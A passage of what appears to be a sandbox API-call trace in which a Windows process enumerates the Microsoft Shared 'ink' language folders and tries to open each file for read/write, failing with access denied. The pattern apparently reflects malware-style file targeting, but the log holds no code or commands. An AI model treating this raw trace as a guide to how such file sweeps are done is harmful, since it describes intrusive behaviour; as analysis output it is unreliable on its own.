lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0168.571] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.571] GetLastError () returned 0x5 [0168.572] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0168.572] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.572] GetLastError () returned 0x5 [0168.572] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0168.572] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.573] GetLastError () returned 0x5 [0168.573] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0168.573] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.573] GetLastError () returned 0x5 [0168.573] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0168.573] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.574] GetLastError () returned 0x5 [0168.574] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0168.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.574] GetLastError () returned 0x5 [0168.574] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0168.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.574] GetLastError () returned 0x5 [0168.575] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0168.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.575] GetLastError () returned 0x5 [0168.575] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0168.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.575] GetLastError () returned 0x5 [0168.575] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0168.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.576] GetLastError () returned 0x5 [0168.576] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0168.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.576] GetLastError () returned 0x5 [0168.576] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0168.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.576] GetLastError () returned 0x5 [0168.576] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0168.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.580] GetLastError () returned 0x5 [0168.580] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0168.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.581] GetLastError () returned 0x5 [0168.581] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0168.581] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.581] GetLastError () returned 0x5 [0168.581] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.581] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.582] GetLastError () returned 0x5 [0168.582] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0168.582] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.582] GetLastError () returned 0x5 [0168.582] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0168.582] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.583] GetProcessHeap () returned 0x2ef0000 [0168.583] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.583] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-ES", cAlternateFileName="")) returned 1 [0168.583] GetProcessHeap () returned 0x2ef0000 [0168.583] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.583] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.584] GetProcessHeap () returned 0x2ef0000 [0168.584] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.584] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.584] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.584] GetProcessHeap () returned 0x2ef0000 [0168.584] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.584] GetLastError () returned 0x5 [0168.584] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.584] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.584] GetProcessHeap () returned 0x2ef0000 [0168.584] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.584] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et-EE", cAlternateFileName="")) returned 1 [0168.585] GetProcessHeap () returned 0x2ef0000 [0168.585] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.585] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.586] GetProcessHeap () returned 0x2ef0000 [0168.586] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.586] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.586] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.586] GetProcessHeap () returned 0x2ef0000 [0168.586] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.586] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.586] GetLastError () returned 0x5 [0168.586] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.586] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.586] GetProcessHeap () returned 0x2ef0000 [0168.586] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.587] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0168.587] GetProcessHeap () returned 0x2ef0000 [0168.587] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.587] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 